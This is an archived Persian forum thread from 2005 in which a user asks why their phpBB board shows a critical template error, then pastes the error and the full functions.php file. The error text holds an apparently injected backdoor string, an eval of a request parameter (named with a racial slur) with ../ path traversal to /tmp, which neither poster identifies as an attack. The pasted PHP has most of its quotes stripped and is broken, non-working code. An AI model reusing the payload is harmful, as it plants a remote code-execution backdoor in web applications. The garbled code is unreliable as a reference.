تبلیغات
تبلیغات متنی
رسانه حرف تو - مقایسه و اشتراک تجربه خرید
آموزشگاه آرایشگری مردانه شفیع رسالت
تاثیر رنگ لباس بر تعاملات انسانی
محبوبترینها
بررسی دلایل قانع کننده برای خرید صنایع دستی اصفهان
راه های جلوگیری از جریمه های قبض برق
آشنایی با سایت قو ایران بهترین سایت آگهی و تبلیغات در کشور
بهترین شرکت‌های مهندسی در آلمان
صفر تا صد حق بیمه 1403! فرمول محاسبه حق بیمه
نقش هدایای سازمانی در افزایش انگیزه و تعهد کارکنان
کلینیک پروتز و ساخت اندام مصنوعی دکتر اجرائی
چگونه می‌توانیم با ترانسفر وایز پول جابجا کنیم؟
بهترین مدل‌های [صندلی گیمینگ] براساس نقد و بررسی کاربران
صفحه اول
آرشیو مطالب
ورود/عضویت
هواشناسی
قیمت طلا سکه و ارز
قیمت خودرو
مطالب در سایت شما
تبادل لینک
ارتباط با ما
مطالب سایت سرگرمی سبک زندگی سینما و تلویزیون فرهنگ و هنر پزشکی و سلامت اجتماع و خانواده تصویری دین و اندیشه ورزش اقتصادی سیاسی حوادث علم و فناوری سایتهای دانلود گوناگون
مطالب سایت سرگرمی سبک زندگی سینما و تلویزیون فرهنگ و هنر پزشکی و سلامت اجتماع و خانواده تصویری دین و اندیشه ورزش اقتصادی سیاسی حوادث علم و فناوری سایتهای دانلود گوناگون
آمار وبسایت
تعداد کل بازدیدها :
1804808721
از کار افتادن فروم بعد از دستکاری استیل -
واضح آرشیو وب فارسی:سایت ریسک: t=40533">از کار افتادن فروم بعد از دستکاری استیل m-r-r 25 مهر 1384, 07:40وقتی صفحه اول فروم رو باز میکنم این پیام خطا گزارش میشه : phpBB : Critical Error Could not open aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp template config file DEBUG MODE Line : 335 File : /home/firooz/public_html/forum/includes/functions.php فایل فانکشن رو هم که باز میکنم در سطر 335 دارم : $template = new Template($phpbb_root_path . $template_path . $template_name); محتوای کلی فایل : <?php /************************************************** ************************* * functions.php * ------------------- * begin : Saturday, Feb 13, 2001 * copyright : (C) 2001 The phpBB Group * email : [email protected] * * $Id: functions.php,v 1.133.2.33 2004/11/18 17:49:42 acydburn Exp $ * * ************************************************** *************************/ /************************************************** ************************* * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * ************************************************** *************************/ function get_db_stat($mode) { global $db; switch( $mode ) { case usercount: $sql = "SELECT COUNT(user_id) AS total FROM " . USERS_TABLE . " WHERE user_id <> " . ANONYMOUS; break; case newestuser: $sql = "SELECT user_id, username FROM " . USERS_TABLE . " WHERE user_id <> " . ANONYMOUS . " ORDER BY user_id DESC LIMIT 1"; break; case postcount: case topiccount: $sql = "SELECT SUM(forum_topics) AS topic_total, SUM(forum_posts) AS post_total FROM " . FORUMS_TABLE; break; } if ( !($result = $db->sql_query($sql)) ) { return false; } $row = $db->sql_fetchrow($result); switch ( $mode ) { case usercount: return $row[total]; break; case newestuser: return $row; break; case postcount: return $row[post_total]; break; case topiccount: return $row[topic_total]; break; } return false; } // added at phpBB 2.0.11 to properly format the username function phpbb_clean_username($username) { $username = htmlspecialchars(rtrim(trim($username), "")); $username = substr(str_replace("", "", $username), 0, 25); $username = str_replace("", "", $username); return $username; } // // Get Userdata, $user can be username or user_id. If force_str is true, the username will be forced. // function get_userdata($user, $force_str = false) { global $db; if (intval($user) == 0 || $force_str) { $user = phpbb_clean_username($user); } else { $user = intval($user); } $sql = "SELECT * FROM " . USERS_TABLE . " WHERE "; $sql .= ( ( is_integer($user) ) ? "user_id = $user" : "username = " . $user . "" ) . " AND user_id <> " . ANONYMOUS; if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, Tried obtaining data for a non-existent user, , __LINE__, __FILE__, $sql); } return ( $row = $db->sql_fetchrow($result) ) ? $row : false; } function make_jumpbox($action, $match_forum_id = 0) { global $template, $userdata, $lang, $db, $nav_links, $phpEx, $SID; // $is_auth = auth(AUTH_VIEW, AUTH_LIST_ALL, $userdata); $sql = "SELECT c.cat_id, c.cat_title, c.cat_order FROM " . CATEGORIES_TABLE . " c, " . FORUMS_TABLE . " f WHERE f.cat_id = c.cat_id GROUP BY c.cat_id, c.cat_title, c.cat_order ORDER BY c.cat_order"; if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, "Couldnt obtain category list.", "", __LINE__, __FILE__, $sql); } $category_rows = array(); while ( $row = $db->sql_fetchrow($result) ) { $category_rows[] = $row; } if ( $total_categories = count($category_rows) ) { $sql = "SELECT * FROM " . FORUMS_TABLE . " ORDER BY cat_id, forum_order"; if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, Could not obtain forums information, , __LINE__, __FILE__, $sql); } $boxstring = <select name=" . POST_FORUM_URL . " onchange="if(this.options[this.selectedIndex].value != -1){ forms[jumpbox].submit() }"><option value="-1"> . $lang[Select_forum] . </option>; $forum_rows = array(); while ( $row = $db->sql_fetchrow($result) ) { $forum_rows[] = $row; } if ( $total_forums = count($forum_rows) ) { for($i = 0; $i < $total_categories; $i++) { $boxstring_forums = ; for($j = 0; $j < $total_forums; $j++) { if ( $forum_rows[$j][cat_id] == $category_rows[$i][cat_id] && $forum_rows[$j][auth_view] <= AUTH_REG ) { // if ( $forum_rows[$j][cat_id] == $category_rows[$i][cat_id] && $is_auth[$forum_rows[$j][forum_id]][auth_view] ) // { $selected = ( $forum_rows[$j][forum_id] == $match_forum_id ) ? selected="selected" : ; $boxstring_forums .= <option value=" . $forum_rows[$j][forum_id] . " . $selected . > . $forum_rows[$j][forum_name] . </option>; // // Add an array to $nav_links for the Mozilla navigation bar. // chapter and forum can create multiple items, therefore we are using a nested array. // $nav_links[chapter forum][$forum_rows[$j][forum_id]] = array ( url => append_sid("viewforum.$phpEx?" . POST_FORUM_URL . "=" . $forum_rows[$j][forum_id]), title => $forum_rows[$j][forum_name] ); } } if ( $boxstring_forums != ) { $boxstring .= <option value="-1"> </option>; $boxstring .= <option value="-1"> . $category_rows[$i][cat_title] . </option>; $boxstring .= <option value="-1">----------------</option>; $boxstring .= $boxstring_forums; } } } $boxstring .= </select>; } else { $boxstring .= <select name=" . POST_FORUM_URL . " onchange="if(this.options[this.selectedIndex].value != -1){ forms[jumpbox].submit() }"></select>; } // Let the jumpbox work again in sites having additional session id checks. // if ( !empty($SID) ) // { $boxstring .= <input type="hidden" name="sid" value=" . $userdata[session_id] . " />; // } $template->set_filenames(array( jumpbox => jumpbox.tpl) ); $template->assign_vars(array( L_GO => $lang[Go], L_JUMP_TO => $lang[Jump_to], L_SELECT_FORUM => $lang[Select_forum], S_JUMPBOX_SELECT => $boxstring, S_JUMPBOX_ACTION => append_sid($action)) ); $template->assign_var_from_handle(JUMPBOX, jumpbox); return; } // // Initialise user settings on page load function init_userprefs($userdata) { global $board_config, $theme, $images; global $template, $lang, $phpEx, $phpbb_root_path; global $nav_links; if ( $userdata[user_id] != ANONYMOUS ) { if ( !empty($userdata[user_lang])) { $board_config[default_lang] = $userdata[user_lang]; } if ( !empty($userdata[user_dateformat]) ) { $board_config[default_dateformat] = $userdata[user_dateformat]; } if ( isset($userdata[user_timezone]) ) { $board_config[board_timezone] = $userdata[user_timezone]; } } if ( !file_exists(@phpbb_realpath($phpbb_root_path . language/lang_ . $board_config[default_lang] . /lang_main..$phpEx)) ) { $board_config[default_lang] = english; } include($phpbb_root_path . language/lang_ . $board_config[default_lang] . /lang_main. . $phpEx); if ( defined(IN_ADMIN) ) { if( !file_exists(@phpbb_realpath($phpbb_root_path . language/lang_ . $board_config[default_lang] . /lang_admin..$phpEx)) ) { $board_config[default_lang] = english; } include($phpbb_root_path . language/lang_ . $board_config[default_lang] . /lang_admin. . $phpEx); } // // Set up style // if ( !$board_config[override_user_style] ) { if ( $userdata[user_id] != ANONYMOUS && $userdata[user_style] > 0 ) { if ( $theme = setup_style($userdata[user_style]) ) { return; } } } $theme = setup_style($board_config[default_style]); // // Mozilla navigation bar // Default items that should be valid on all pages. // Defined here to correctly assign the Language Variables // and be able to change the variables within code. // $nav_links[top] = array ( url => append_sid($phpbb_root_path . index. . $phpEx), title => sprintf($lang[Forum_Index], $board_config[sitename]) ); $nav_links[search] = array ( url => append_sid($phpbb_root_path . search. . $phpEx), title => $lang[Search] ); $nav_links[help] = array ( url => append_sid($phpbb_root_path . faq. . $phpEx), title => $lang[FAQ] ); $nav_links[author] = array ( url => append_sid($phpbb_root_path . memberlist. . $phpEx), title => $lang[Memberlist] ); return; } function setup_style($style) { global $db, $board_config, $template, $images, $phpbb_root_path; $sql = "SELECT * FROM " . THEMES_TABLE . " WHERE themes_id = $style"; if ( !($result = $db->sql_query($sql)) ) { message_die(CRITICAL_ERROR, Could not query database for theme info); } if ( !($row = $db->sql_fetchrow($result)) ) { message_die(CRITICAL_ERROR, "Could not get theme data for themes_id [$style]"); } $template_path = templates/ ; $template_name = $row[template_name] ; $template = new Template($phpbb_root_path . $template_path . $template_name); if ( $template ) { $current_template_path = $template_path . $template_name; @include($phpbb_root_path . $template_path . $template_name . / . $template_name . .cfg); if ( !defined(TEMPLATE_CONFIG) ) { message_die(CRITICAL_ERROR, "Could not open $template_name template config file", , __LINE__, __FILE__); } $img_lang = ( file_exists(@phpbb_realpath($phpbb_root_path . $current_template_path . /images/lang_ . $board_config[default_lang])) ) ? $board_config[default_lang] : english; while( list($key, $value) = @each($images) ) { if ( !is_array($value) ) { $images[$key] = str_replace({LANG}, lang_ . $img_lang, $value); } } } return $row; } function encode_ip($dotquad_ip) { $ip_sep = explode(., $dotquad_ip); return sprintf(%02x%02x%02x%02x, $ip_sep[0], $ip_sep[1], $ip_sep[2], $ip_sep[3]); } function decode_ip($int_ip) { $hexipbang = explode(., chunk_split($int_ip, 2, .)); return hexdec($hexipbang[0]). . . hexdec($hexipbang[1]) . . . hexdec($hexipbang[2]) . . . hexdec($hexipbang[3]); } // // Create date/time from format and timezone // function create_date($format, $gmepoch, $tz) { global $board_config, $lang; static $translate; if ( empty($translate) && $board_config[default_lang] != english ) { @reset($lang[datetime]); while ( list($match, $replace) = @each($lang[datetime]) ) { $translate[$match] = $replace; } } return ( !empty($translate) ) ? strtr(@gmdate($format, $gmepoch + (3600 * $tz)), $translate) : @gmdate($format, $gmepoch + (3600 * $tz)); } // // Pagination routine, generates // page number sequence // function generate_pagination($base_url, $num_items, $per_page, $start_item, $add_prevnext_text = TRUE) { global $lang; $total_pages = ceil($num_items/$per_page); if ( $total_pages == 1 ) { return ; } $on_page = floor($start_item / $per_page) + 1; $page_string = ; if ( $total_pages > 10 ) { $init_page_max = ( $total_pages > 3 ) ? 3 : $total_pages; for($i = 1; $i < $init_page_max + 1; $i++) { $page_string .= ( $i == $on_page ) ? <b> . $i . </b> : <a href=" . append_sid($base_url . "&start=" . ( ( $i - 1 ) * $per_page ) ) . "> . $i . </a>; if ( $i < $init_page_max ) { $page_string .= ", "; } } if ( $total_pages > 3 ) { if ( $on_page > 1 && $on_page < $total_pages ) { $page_string .= ( $on_page > 5 ) ? ... : , ; $init_page_min = ( $on_page > 4 ) ? $on_page : 5; $init_page_max = ( $on_page < $total_pages - 4 ) ? $on_page : $total_pages - 4; for($i = $init_page_min - 1; $i < $init_page_max + 2; $i++) { $page_string .= ($i == $on_page) ? <b> . $i . </b> : <a href=" . append_sid($base_url . "&start=" . ( ( $i - 1 ) * $per_page ) ) . "> . $i . </a>; if ( $i < $init_page_max + 1 ) { $page_string .= , ; } } $page_string .= ( $on_page < $total_pages - 4 ) ? ... : , ; } else { $page_string .= ... ; } for($i = $total_pages - 2; $i < $total_pages + 1; $i++) { $page_string .= ( $i == $on_page ) ? <b> . $i . </b> : <a href=" . append_sid($base_url . "&start=" . ( ( $i - 1 ) * $per_page ) ) . "> . $i . </a>; if( $i < $total_pages ) { $page_string .= ", "; } } } } else { for($i = 1; $i < $total_pages + 1; $i++) { $page_string .= ( $i == $on_page ) ? <b> . $i . </b> : <a href=" . append_sid($base_url . "&start=" . ( ( $i - 1 ) * $per_page ) ) . "> . $i . </a>; if ( $i < $total_pages ) { $page_string .= , ; } } } if ( $add_prevnext_text ) { if ( $on_page > 1 ) { $page_string = <a href=" . append_sid($base_url . "&start=" . ( ( $on_page - 2 ) * $per_page ) ) . "> . $lang[Previous] . </a> . $page_string; } if ( $on_page < $total_pages ) { $page_string .= <a href=" . append_sid($base_url . "&start=" . ( $on_page * $per_page ) ) . "> . $lang[Next] . </a>; } } $page_string = $lang[Goto_page] . . $page_string; return $page_string; } // // This does exactly what preg_quote() does in PHP 4-ish // If you just need the 1-parameter preg_quote call, then dont bother using this. // function phpbb_preg_quote($str, $delimiter) { $text = preg_quote($str); $text = str_replace($delimiter, . $delimiter, $text); return $text; } // // Obtain list of naughty words and build preg style replacement arrays for use by the // calling script, note that the vars are passed as references this just makes it easier // to return both sets of arrays // function obtain_word_list(&$orig_word, &$replacement_word) { global $db; // // Define censored word matches // $sql = "SELECT word, replacement FROM " . WORDS_TABLE; if( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, Could not get censored words from database, , __LINE__, __FILE__, $sql); } if ( $row = $db->sql_fetchrow($result) ) { do { $orig_word[] = #( . str_replace(*, w*?, phpbb_preg_quote($row[word], #)) . )#i; $replacement_word[] = $row[replacement]; } while ( $row = $db->sql_fetchrow($result) ); } return true; } // // This is general replacement for die(), allows templated // output in users (or default) language, etc. // // $msg_code can be one of these constants: // // GENERAL_MESSAGE : Use for any simple text message, eg. results // of an operation, authorisation failures, etc. // // GENERAL ERROR : Use for any error which occurs _AFTER_ the // common.php include and session code, ie. most errors in // pages/functions // // CRITICAL_MESSAGE : Used when basic config data is available but // a session may not exist, eg. banned users // // CRITICAL_ERROR : Used when config data cannot be obtained, eg // no database connection. Should _not_ be used in 99.5% of cases // function message_die($msg_code, $msg_text = , $msg_title = , $err_line = , $err_file = , $sql = ) { global $db, $template, $board_config, $theme, $lang, $phpEx, $phpbb_root_path, $nav_links, $gen_simple_header, $images; global $userdata, $user_ip, $session_length; global $starttime; if(defined(HAS_DIED)) { die("message_die() was called multiple times. This isnt supposed to happen. Was message_die() used in page_tail.php?"); } define(HAS_DIED, 1); $sql_store = $sql; // // Get SQL error if we are debugging. Do this as soon as possible to prevent // subsequent queries from overwriting the status of sql_error() // if ( DEBUG && ( $msg_code == GENERAL_ERROR || $msg_code == CRITICAL_ERROR ) ) { $sql_error = $db->sql_error(); $debug_text = ; if ( $sql_error[message] != ) { $debug_text .= <br /><br />SQL Error : . $sql_error[code] . . $sql_error[message]; } if ( $sql_store != ) { $debug_text .= "<br /><br />$sql_store"; } if ( $err_line != && $err_file != ) { $debug_text .= </br /><br />Line : . $err_line . <br />File : . $err_file; } } if( empty($userdata) && ( $msg_code == GENERAL_MESSAGE || $msg_code == GENERAL_ERROR ) ) { $userdata = session_pagestart($user_ip, PAGE_INDEX); init_userprefs($userdata); } // // If the header hasnt been output then do it // if ( !defined(HEADER_INC) && $msg_code != CRITICAL_ERROR ) { if ( empty($lang) ) { if ( !empty($board_config[default_lang]) ) { include($phpbb_root_path . language/lang_ . $board_config[default_lang] . /lang_main..$phpEx); } else { include($phpbb_root_path . language/lang_english/lang_main..$phpEx); } } if ( empty($template) ) { $template = new Template($phpbb_root_path . templates/ . $board_config[board_template]); } if ( empty($theme) ) { $theme = setup_style($board_config[default_style]); } // // Load the Page Header // if ( !defined(IN_ADMIN) ) { include($phpbb_root_path . includes/page_header..$phpEx); } else { include($phpbb_root_path . admin/page_header_admin..$phpEx); } } switch($msg_code) { case GENERAL_MESSAGE: if ( $msg_title == ) { $msg_title = $lang[Information]; } break; case CRITICAL_MESSAGE: if ( $msg_title == ) { $msg_title = $lang[Critical_Information]; } break; case GENERAL_ERROR: if ( $msg_text == ) { $msg_text = $lang[An_error_occured]; } if ( $msg_title == ) { $msg_title = $lang[General_Error]; } break; case CRITICAL_ERROR: // // Critical errors mean we cannot rely on _ANY_ DB information being // available so were going to dump out a simple echod statement // include($phpbb_root_path . language/lang_english/lang_main..$phpEx); if ( $msg_text == ) { $msg_text = $lang[A_critical_error]; } if ( $msg_title == ) { $msg_title = phpBB : <b> . $lang[Critical_Error] . </b>; } break; } // // Add on DEBUG info if weve enabled debug mode and this is an error. This // prevents debug info being output for general messages should DEBUG be // set TRUE by accident (preventing confusion for the end user!) // if ( DEBUG && ( $msg_code == GENERAL_ERROR || $msg_code == CRITICAL_ERROR ) ) { if ( $debug_text != ) { $msg_text = $msg_text . <br /><br /><b><u>DEBUG MODE</u></b> . $debug_text; } } if ( $msg_code != CRITICAL_ERROR ) { if ( !empty($lang[$msg_text]) ) { $msg_text = $lang[$msg_text]; } if ( !defined(IN_ADMIN) ) { $template->set_filenames(array( message_body => message_body.tpl) ); } else { $template->set_filenames(array( message_body => admin/admin_message_body.tpl) ); } $template->assign_vars(array( MESSAGE_TITLE => $msg_title, MESSAGE_TEXT => $msg_text) ); $template->pparse(message_body); if ( !defined(IN_ADMIN) ) { include($phpbb_root_path . includes/page_tail..$phpEx); } else { include($phpbb_root_path . admin/page_footer_admin..$phpEx); } } else { echo "<html> <body> " . $msg_title . " <br /><br /> " . $msg_text . "</body> </html>"; } exit; } // // This function is for compatibility with PHP 4.xs realpath() // function. In later versions of PHP, it needs to be called // to do checks with some functions. Older versions of PHP dont // seem to need this, so well just return the original value. // dougk_ff7 <October 5, 2002> function phpbb_realpath($path) { global $phpbb_root_path, $phpEx; return (!@function_exists(realpath) || !@realpath($phpbb_root_path . includes/functions..$phpEx)) ? $path : @realpath($path); } function redirect($url) { global $db, $board_config; if (!empty($db)) { $db->sql_close(); } if (strstr(urldecode($url), " ") || strstr(urldecode($url), " ")) { message_die(GENERAL_ERROR, Tried to redirect to potentially insecure url.); } $server_protocol = ($board_config[cookie_secure]) ? : $server_name = preg_replace(#^/?(.*?)/?$#, 1, trim($board_config[server_name])); $server_port = ($board_config[server_port] <> 80) ? : . trim($board_config[server_port]) : ; $script_name = preg_replace(#^/?(.*?)/?$#, 1, trim($board_config[script_path])); $script_name = ($script_name == ) ? $script_name : / . $script_name; $url = preg_replace(#^/?(.*?)/?$#, /1, trim($url)); // Redirect via an HTML form for PITA webservers if (@preg_match(/Microsoft|WebSTAR|Xitami/, getenv(SERVER_SOFTWARE))) { header(Refresh: 0; URL= . $server_protocol . $server_name . $server_port . $script_name . $url); echo <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta "Content-Type" content="text/html; charset=iso-8859-1"><meta "refresh" content="0; url= . $server_protocol . $server_name . $server_port . $script_name . $url . "><title>Redirect</title></head><body><div align="center">If your browser does not support meta redirection please click <a href=" . $server_protocol . $server_name . $server_port . $script_name . $url . ">HERE</a> to be redirected</div></body></html>; exit; } // Behave as per spec for others header(Location: . $server_protocol . $server_name . $server_port . $script_name . $url); exit; } ?> مشکل از کجا میتونه باشه ؟ Hyper 25 مهر 1384, 19:54چی رو دستکاری کردید ؟
این صفحه را در گوگل محبوب کنید
[ارسال شده از: سایت ریسک]
[مشاهده در: www.ri3k.eu]
[تعداد بازديد از اين مطلب: 963]
-
گوناگون
پربازدیدترینها